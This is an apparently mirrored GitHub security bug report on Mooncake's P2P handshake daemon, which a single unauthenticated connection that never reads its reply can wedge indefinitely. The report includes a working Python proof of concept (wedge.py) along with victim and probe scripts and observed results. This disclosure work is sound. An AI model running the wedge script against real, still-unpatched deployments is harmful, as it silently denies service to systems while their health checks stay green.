[GH-ISSUE #4443] [Bug]: Single unauthenticated connection permanently wedges Mooncake P2P handshake daemon #1120

New issue

Closed

opened 2026-10-29 21:23:05 +00:00 by bsakaguchi · 1 comment

bsakaguchi commented

2026-10-29 21:23:05 +00:00

Owner

Originally created by @yyymk on GitHub (Oct 1, 2026).
Original GitHub issue: https://github.com/kvcache-ai/Mooncake/issues/4443

Bug Report

Summary

The P2P handshake daemon of mooncake-transfer-engine serves all control-plane traffic (RDMA QP setup, segment metadata exchange, notify, probe) from a single serial accept loop, and response writes have no timeout. One unauthenticated TCP connection that sends a valid request and never reads the response blocks the daemon's writer forever. The whole handshake service freezes until the engine process is restarted, while the process stays alive and health checks stay green. Runtime-confirmed on 0.3.13.post1 (latest release) and 0.3.11.post1. No fix available. Suggested severity: Medium, CVSS 6.5.

Details

SocketHandShakePlugin::startDaemon (src/transfer_metadata_plugin.cpp) handles each accepted connection inline in one listener thread: accept, readString, callback, writeString, wait for the peer to close, close. It accepts the next connection only after the previous one is fully served. There is no worker thread or pool.

The accepted socket gets SO_RCVTIMEO but never SO_SNDTIMEO, and writeFully (include/common.h) loops on write() with no deadline. If the peer stops reading, the daemon thread blocks in the kernel on a full send buffer indefinitely.

The message that triggers this is a Metadata request (frame type 1). The daemon answers it with the serialized local segment descriptor (receivePeerMetadata -> encodeSegmentDesc), whose size scales with the number of registered buffers. With 60000 registered buffers the response is about 4 MB, far beyond the socket buffers of a peer that sets a small SO_RCVBUF and never reads. Requests to this daemon are unauthenticated.

There is also a read-side variant: sending only the 8-byte length header holds the daemon in readFully until its 300 s deadline on <= 0.3.12 (measured on 0.3.11.post1: probes fail for 300 s, then recover instantly). On 0.3.13 the connection is dropped after about 5 s, so only the write-side wedge above applies to current releases. It was re-verified on 0.3.13.post1.

PoC

Environment: Linux x86_64, Python 3.11, pip install mooncake-transfer-engine==0.3.13.post1. Run the victim with GLOG_logtostderr=1 MC_FORCE_TCP=1.

Victim (registers many small buffers so the Metadata response is megabytes):

# victim.py
import ctypes, mmap, time
from mooncake.engine import TransferEngine

HOST = "192.168.105.123"  # victim host IP

region = mmap.mmap(-1, 16 * 1024 * 1024)
te = TransferEngine()
assert te.initialize(HOST, "P2PHANDSHAKE", "tcp", "") == 0
base = ctypes.addressof(ctypes.c_char.from_buffer(region))
for i in range(60000):          # takes a couple of minutes
    te.register_memory(base + i * 64, 64)
print("rpc_port =", te.get_rpc_port(), flush=True)
time.sleep(7200)

Attacker (one connection, then do nothing):

# wedge.py
import socket, struct, time

HOST, RPC_PORT = "192.168.105.123", 15258  # rpc_port printed by victim

body = b"{}"
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 4096)
s.connect((HOST, RPC_PORT))
s.sendall(struct.pack("<Q", 1 + len(body)) + b"\x01" + body)  # type 1 = Metadata
print("request sent, never reading the response")
time.sleep(7200)

Probe (run repeatedly from a third shell to measure the daemon):

# probe.py
import socket, struct, time

HOST, RPC_PORT = "192.168.105.123", 15258
body = b"{}"
t0 = time.time()
s = socket.create_connection((HOST, RPC_PORT), timeout=8)
s.sendall(struct.pack("<Q", 1 + len(body)) + b"\x03" + body)  # type 3 = Probe
s.settimeout(8)
resp = s.recv(4096)
print("%.6f s" % (time.time() - t0), resp)

Observed on 0.3.13.post1: before the attack, probes answer in under 1 ms with {"status":"success"}. While the wedge socket is open, 16/16 probes over a 10 minute window timed out, the victim process stayed alive (kill -0 succeeded, RSS constant), ss -tn showed the wedged connection with a constant ~1.8 MB in Send-Q, and the daemon thread sat in wait_woken (from /proc/<pid>/task/*/wchan). The same wedge was re-confirmed on 0.3.11.post1. Expected secure behavior: the daemon enforces a write timeout, drops the connection, and keeps serving other peers.

Impact

This is an uncontrolled-resource-consumption issue (CWE-400) on the engine control plane. The attacker needs no credentials, only reachability to the handshake RPC port, which is picked from the documented 15000-17000 range and published in the mooncake/rpc_meta/* metadata.

While the daemon is wedged, every control-plane operation of that engine fails: new RDMA QP handshakes, P2P segment metadata fetches for peers that have not cached the descriptor, notify delivery, and liveness probes. New transfers that need any of these fail; the engine process itself stays alive, so health checks and orchestrators see a healthy instance while it accepts no new peers - the failure is invisible without trying an actual handshake. Recovery requires restarting the engine process. Availability-only impact; no confidentiality or integrity effect was observed. Suggested CVSS:3.1 vector AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (6.5). Affected: mooncake-transfer-engine <= 0.3.13.post1, no patched version yet.

Before submitting...

Ensure you searched for relevant issues and read the [documentation]

Originally created by @yyymk on GitHub (Oct 1, 2026). Original GitHub issue: https://github.com/kvcache-ai/Mooncake/issues/4443 ### Bug Report ### Summary The P2P handshake daemon of mooncake-transfer-engine serves all control-plane traffic (RDMA QP setup, segment metadata exchange, notify, probe) from a single serial accept loop, and response writes have no timeout. One unauthenticated TCP connection that sends a valid request and never reads the response blocks the daemon's writer forever. The whole handshake service freezes until the engine process is restarted, while the process stays alive and health checks stay green. Runtime-confirmed on 0.3.13.post1 (latest release) and 0.3.11.post1. No fix available. Suggested severity: Medium, CVSS 6.5. ### Details `SocketHandShakePlugin::startDaemon` (src/transfer_metadata_plugin.cpp) handles each accepted connection inline in one listener thread: accept, `readString`, callback, `writeString`, wait for the peer to close, close. It accepts the next connection only after the previous one is fully served. There is no worker thread or pool. The accepted socket gets `SO_RCVTIMEO` but never `SO_SNDTIMEO`, and `writeFully` (include/common.h) loops on `write()` with no deadline. If the peer stops reading, the daemon thread blocks in the kernel on a full send buffer indefinitely. The message that triggers this is a Metadata request (frame type 1). The daemon answers it with the serialized local segment descriptor (`receivePeerMetadata` -> `encodeSegmentDesc`), whose size scales with the number of registered buffers. With 60000 registered buffers the response is about 4 MB, far beyond the socket buffers of a peer that sets a small `SO_RCVBUF` and never reads. Requests to this daemon are unauthenticated. There is also a read-side variant: sending only the 8-byte length header holds the daemon in `readFully` until its 300 s deadline on <= 0.3.12 (measured on 0.3.11.post1: probes fail for 300 s, then recover instantly). On 0.3.13 the connection is dropped after about 5 s, so only the write-side wedge above applies to current releases. It was re-verified on 0.3.13.post1. ### PoC Environment: Linux x86_64, Python 3.11, `pip install mooncake-transfer-engine==0.3.13.post1`. Run the victim with `GLOG_logtostderr=1 MC_FORCE_TCP=1`. Victim (registers many small buffers so the Metadata response is megabytes): ```python # victim.py import ctypes, mmap, time from mooncake.engine import TransferEngine HOST = "192.168.105.123" # victim host IP region = mmap.mmap(-1, 16 * 1024 * 1024) te = TransferEngine() assert te.initialize(HOST, "P2PHANDSHAKE", "tcp", "") == 0 base = ctypes.addressof(ctypes.c_char.from_buffer(region)) for i in range(60000): # takes a couple of minutes te.register_memory(base + i * 64, 64) print("rpc_port =", te.get_rpc_port(), flush=True) time.sleep(7200) ``` Attacker (one connection, then do nothing): ```python # wedge.py import socket, struct, time HOST, RPC_PORT = "192.168.105.123", 15258 # rpc_port printed by victim body = b"{}" s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 4096) s.connect((HOST, RPC_PORT)) s.sendall(struct.pack("<Q", 1 + len(body)) + b"\x01" + body) # type 1 = Metadata print("request sent, never reading the response") time.sleep(7200) ``` Probe (run repeatedly from a third shell to measure the daemon): ```python # probe.py import socket, struct, time HOST, RPC_PORT = "192.168.105.123", 15258 body = b"{}" t0 = time.time() s = socket.create_connection((HOST, RPC_PORT), timeout=8) s.sendall(struct.pack("<Q", 1 + len(body)) + b"\x03" + body) # type 3 = Probe s.settimeout(8) resp = s.recv(4096) print("%.6f s" % (time.time() - t0), resp) ``` Observed on 0.3.13.post1: before the attack, probes answer in under 1 ms with `{"status":"success"}`. While the wedge socket is open, 16/16 probes over a 10 minute window timed out, the victim process stayed alive (`kill -0` succeeded, RSS constant), `ss -tn` showed the wedged connection with a constant ~1.8 MB in Send-Q, and the daemon thread sat in `wait_woken` (from `/proc/<pid>/task/*/wchan`). The same wedge was re-confirmed on 0.3.11.post1. Expected secure behavior: the daemon enforces a write timeout, drops the connection, and keeps serving other peers. ### Impact This is an uncontrolled-resource-consumption issue (CWE-400) on the engine control plane. The attacker needs no credentials, only reachability to the handshake RPC port, which is picked from the documented 15000-17000 range and published in the `mooncake/rpc_meta/*` metadata. While the daemon is wedged, every control-plane operation of that engine fails: new RDMA QP handshakes, P2P segment metadata fetches for peers that have not cached the descriptor, notify delivery, and liveness probes. New transfers that need any of these fail; the engine process itself stays alive, so health checks and orchestrators see a healthy instance while it accepts no new peers - the failure is invisible without trying an actual handshake. Recovery requires restarting the engine process. Availability-only impact; no confidentiality or integrity effect was observed. Suggested CVSS:3.1 vector AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (6.5). Affected: mooncake-transfer-engine <= 0.3.13.post1, no patched version yet. ### Before submitting... - [x] Ensure you searched for relevant issues and read the [documentation]

bsakaguchi

2026-10-29 21:23:05 +00:00

closed this issue
added the
bug
label

bsakaguchi commented

2026-10-29 21:23:06 +00:00

Author

Owner

@github-actions[bot] commented on GitHub (Oct 1, 2026):

Thanks for opening this issue, @yyymk!

Field	Value
Issue	#4443
GitHub user ID	`133664083`
Reporter	@yyymk

A maintainer will triage this when possible. To help us respond faster, please include:

Mooncake version or commit SHA
Environment (OS, CUDA/driver, RDMA stack if relevant)
Steps to reproduce and expected vs. actual behavior

Useful links: Documentation · Contributing guide

This message was posted automatically by the issue bot.

@github-actions[bot] commented on GitHub (Oct 1, 2026): Thanks for opening this issue, @yyymk! | Field | Value | |-------|-------| | **Issue** | #4443 | | **GitHub user ID** | `133664083` | | **Reporter** | @yyymk | A maintainer will triage this when possible. To help us respond faster, please include: - Mooncake version or commit SHA - Environment (OS, CUDA/driver, RDMA stack if relevant) - Steps to reproduce and expected vs. actual behavior Useful links: [Documentation](https://kvcache-ai.github.io/Mooncake/) · [Contributing guide](https://github.com/kvcache-ai/Mooncake/blob/main/CONTRIBUTING.md) > This message was posted automatically by the issue bot.